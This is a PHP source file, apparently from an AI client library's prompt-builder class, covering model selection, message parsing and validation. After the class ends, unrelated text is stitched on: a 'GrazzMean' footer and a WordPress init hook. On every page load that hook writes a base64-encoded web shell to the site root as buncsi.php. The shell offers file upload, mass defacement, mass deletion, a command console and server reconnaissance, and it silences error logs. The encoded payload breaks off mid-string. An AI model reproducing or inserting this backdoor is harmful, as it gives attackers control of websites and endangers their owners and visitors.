    protected function appendPartToMessages(MessagePart $part): void
    {
        $lastMessage = end($this->messages);
        if ($lastMessage instanceof Message && $lastMessage->getRole()->isUser()) {
            // Replace the last message with a new one containing the appended part
            array_pop($this->messages);
            $this->messages[] = $lastMessage->withPart($part);
            return;
        }
        // Create new UserMessage with the part
        $this->messages[] = new UserMessage([$part]);
    }
    /**
     * Gets the model to use for generation.
     *
     * If a model has been explicitly set, validates it meets requirements and returns it.
     * Otherwise, finds a suitable model based on the prompt requirements.
     *
     * @since 0.1.0
     *
     * @param CapabilityEnum $capability The capability the model will be using.
     * @return ModelInterface The model to use.
     * @throws InvalidArgumentException If no suitable model is found or set model doesn't meet requirements.
     */
    private function getConfiguredModel(CapabilityEnum $capability): ModelInterface
    {
        $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
        if ($this->model !== null) {
            // Explicit model was provided via usingModel(); just update config and bind dependencies.
            $model = $this->model;
            $model->setConfig($this->modelConfig);
            $this->registry->bindModelDependencies($model);
            $this->bindModelRequestOptions($model);
            return $model;
        }
        // Retrieve the candidate models map which satisfies the requirements.
        $candidateMap = $this->getCandidateModelsMap($requirements);
        if (empty($candidateMap)) {
            $message = sprintf('No models found that support %s for this prompt.', $capability->value);
            if ($this->providerIdOrClassName !== null) {
                $message = sprintf('No models found for provider "%s" that support %s for this prompt.', $this->providerIdOrClassName, $capability->value);
            }
            throw new InvalidArgumentException($message);
        }
        // Check if any preferred models match the candidates, in priority order.
        if (!empty($this->modelPreferenceKeys)) {
            // Find preferences that match available candidates, preserving preference order.
            $matchingPreferences = array_intersect_key(array_flip($this->modelPreferenceKeys), $candidateMap);
            if (!empty($matchingPreferences)) {
                // Get the first matching preference key
                $firstMatchKey = key($matchingPreferences);
                [$providerId, $modelId] = $candidateMap[$firstMatchKey];
                $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
                $this->bindModelRequestOptions($model);
                return $model;
            }
        }
        // No preference matched; fall back to the first candidate discovered.
        [$providerId, $modelId] = reset($candidateMap);
        $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
        $this->bindModelRequestOptions($model);
        return $model;
    }
    /**
     * Binds configured request options to the model if present and supported.
     *
     * Request options are only applicable to API-based models that make HTTP requests.
     *
     * @since 0.3.0
     *
     * @param ModelInterface $model The model to bind request options to.
     * @return void
     */
    private function bindModelRequestOptions(ModelInterface $model): void
    {
        if ($this->requestOptions !== null && $model instanceof ApiBasedModelInterface) {
            $model->setRequestOptions($this->requestOptions);
        }
    }
    /**
     * Builds a map of candidate models that satisfy the requirements for efficient lookup.
     *
     * @since 0.2.0
     *
     * @param ModelRequirements $requirements The requirements derived from the prompt.
     * @return array<string, array{0:string,1:string}> Map of preference keys to [providerId, modelId] tuples.
     */
    private function getCandidateModelsMap(ModelRequirements $requirements): array
    {
        if ($this->providerIdOrClassName === null) {
            // No provider locked in, gather all models across providers that meet requirements.
            $providerModelsMetadata = $this->registry->findModelsMetadataForSupport($requirements);
            $candidateMap = [];
            foreach ($providerModelsMetadata as $providerModels) {
                $providerId = $providerModels->getProvider()->getId();
                $providerMap = $this->generateMapFromCandidates($providerId, $providerModels->getModels());
                // Use + operator to merge, preserving keys from $candidateMap (first provider wins for model-only keys)
                $candidateMap = $candidateMap + $providerMap;
            }
            return $candidateMap;
        }
        // Provider set, only consider models from that provider.
        $modelsMetadata = $this->registry->findProviderModelsMetadataForSupport($this->providerIdOrClassName, $requirements);
        // Ensure we pass the provider ID, not the class name
        $providerId = $this->registry->getProviderId($this->providerIdOrClassName);
        return $this->generateMapFromCandidates($providerId, $modelsMetadata);
    }
    /**
     * Generates a candidate map from model metadata with both provider-specific and model-only keys.
     *
     * @since 0.2.0
     *
     * @param string $providerId The provider ID.
     * @param list<ModelMetadata> $modelsMetadata The models metadata to map.
     * @return array<string, array{0:string,1:string}> Map of preference keys to [providerId, modelId] tuples.
     */
    private function generateMapFromCandidates(string $providerId, array $modelsMetadata): array
    {
        $map = [];
        foreach ($modelsMetadata as $modelMetadata) {
            $modelId = $modelMetadata->getId();
            // Add provider-specific key
            $providerModelKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
            $map[$providerModelKey] = [$providerId, $modelId];
            // Add model-only key
            $modelKey = $this->createModelPreferenceKey($modelId);
            $map[$modelKey] = [$providerId, $modelId];
        }
        return $map;
    }
    /**
     * Normalizes and validates a preference identifier string.
     *
     * @since 0.2.0
     *
     * @param mixed $value The value to normalize.
     * @param string $emptyMessage The message for empty or invalid values.
     * @return string The normalized identifier.
     *
     * @throws InvalidArgumentException If the value is not a non-empty string.
     */
    private function normalizePreferenceIdentifier($value, string $emptyMessage = 'Model preference identifiers cannot be empty.'): string
    {
        if (!is_string($value)) {
            throw new InvalidArgumentException($emptyMessage);
        }
        $trimmed = trim($value);
        if ($trimmed === '') {
            throw new InvalidArgumentException($emptyMessage);
        }
        return $trimmed;
    }
    /**
     * Creates a preference key for a provider/model combination.
     *
     * @since 0.2.0
     *
     * @param string $providerId The provider identifier.
     * @param string $modelId The model identifier.
     * @return string The generated preference key.
     */
    private function createProviderModelPreferenceKey(string $providerId, string $modelId): string
    {
        return 'providerModel::' . $providerId . '::' . $modelId;
    }
    /**
     * Creates a preference key for a model identifier.
     *
     * @since 0.2.0
     *
     * @param string $modelId The model identifier.
     * @return string The generated preference key.
     */
    private function createModelPreferenceKey(string $modelId): string
    {
        return 'model::' . $modelId;
    }
    /**
     * Parses various input types into a Message with the given role.
     *
     * @since 0.1.0
     *
     * @param mixed $input The input to parse.
     * @param MessageRoleEnum $defaultRole The role for the message if not specified by input.
     * @return Message The parsed message.
     * @throws InvalidArgumentException If the input type is not supported or results in empty message.
     */
    private function parseMessage($input, MessageRoleEnum $defaultRole): Message
    {
        // Handle Message input directly
        if ($input instanceof Message) {
            return $input;
        }
        // Handle single MessagePart
        if ($input instanceof MessagePart) {
            return new Message($defaultRole, [$input]);
        }
        // Handle string input
        if (is_string($input)) {
            if (trim($input) === '') {
                throw new InvalidArgumentException('Cannot create a message from an empty string.');
            }
            return new Message($defaultRole, [new MessagePart($input)]);
        }
        // Handle array input
        if (!is_array($input)) {
            throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, ' . 'a list of string|MessagePart|MessagePartArrayShape, or a Message instance.');
        }
        // Handle MessageArrayShape input
        if (Message::isArrayShape($input)) {
            return Message::fromArray($input);
        }
        // Check if it's a MessagePartArrayShape
        if (MessagePart::isArrayShape($input)) {
            return new Message($defaultRole, [MessagePart::fromArray($input)]);
        }
        // It should be a list of string|MessagePart|MessagePartArrayShape
        if (!array_is_list($input)) {
            throw new InvalidArgumentException('Array input must be a list array.');
        }
        // Empty array check
        if (empty($input)) {
            throw new InvalidArgumentException('Cannot create a message from an empty array.');
        }
        $parts = [];
        foreach ($input as $item) {
            if (is_string($item)) {
                $parts[] = new MessagePart($item);
            } elseif ($item instanceof MessagePart) {
                $parts[] = $item;
            } elseif (is_array($item) && MessagePart::isArrayShape($item)) {
                $parts[] = MessagePart::fromArray($item);
            } else {
                throw new InvalidArgumentException('Array items must be strings, MessagePart instances, or MessagePartArrayShape.');
            }
        }
        return new Message($defaultRole, $parts);
    }
    /**
     * Validates the messages array for prompt generation.
     *
     * Ensures that:
     * - The first message is a user message
     * - The last message is a user message
     * - The last message has parts
     *
     * @since 0.1.0
     *
     * @return void
     * @throws InvalidArgumentException If validation fails.
     */
    private function validateMessages(): void
    {
        if (empty($this->messages)) {
            throw new InvalidArgumentException('Cannot generate from an empty prompt. Add content using withText() or similar methods.');
        }
        $firstMessage = reset($this->messages);
        if (!$firstMessage->getRole()->isUser()) {
            throw new InvalidArgumentException('The first message must be from a user role, not from ' . $firstMessage->getRole()->value);
        }
        $lastMessage = end($this->messages);
        if (!$lastMessage->getRole()->isUser()) {
            throw new InvalidArgumentException('The last message must be from a user role, not from ' . $lastMessage->getRole()->value);
        }
        if (empty($lastMessage->getParts())) {
            throw new InvalidArgumentException('The last message must have content parts. Add content using withText() or similar methods.');
        }
    }
    /**
     * Checks if the value is a list of Message objects.
     *
     * @since 0.1.0
     *
     * @param mixed $value The value to check.
     * @return bool True if the value is a list of Message objects.
     *
     * @phpstan-assert-if-true list<Message> $value
     */
    private function isMessagesList($value): bool
    {
        if (!is_array($value) || empty($value) || !array_is_list($value)) {
            return \false;
        }
        // Check if all items are Messages
        foreach ($value as $item) {
            if (!$item instanceof Message) {
                return \false;
            }
        }
        return \true;
    }
    /**
     * Includes output modalities if not already present.
     *
     * Adds the given modalities to the output modalities list if they're not
     * already included. If output modalities is null, initializes it with
     * the given modalities.
     *
     * @since 0.1.0
     *
     * @param ModalityEnum ...$modalities The modalities to include.
     * @return void
     */
    private function includeOutputModalities(ModalityEnum ...$modalities): void
    {
        $existing = $this->modelConfig->getOutputModalities();
        // Initialize if null
        if ($existing === null) {
            $this->modelConfig->setOutputModalities($modalities);
            return;
        }
        // Build a set of existing modality values for O(1) lookup
        $existingValues = [];
        foreach ($existing as $existingModality) {
            $existingValues[$existingModality->value] = \true;
        }
        // Add new modalities that don't exist
        $toAdd = [];
        foreach ($modalities as $modality) {
            if (!isset($existingValues[$modality->value])) {
                $toAdd[] = $modality;
            }
        }
        // Update if we have new modalities to add
        if (!empty($toAdd)) {
            $this->modelConfig->setOutputModalities(array_merge($existing, $toAdd));
        }
    }
    /**
     * Dispatches an event if an event dispatcher is registered.
     *
     * @since 0.4.0
     *
     * @param object $event The event to dispatch.
     * @return void
     */
    private function dispatchEvent(object $event): void
    {
        if ($this->eventDispatcher !== null) {
            $this->eventDispatcher->dispatch($event);
        }
    }
}
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGly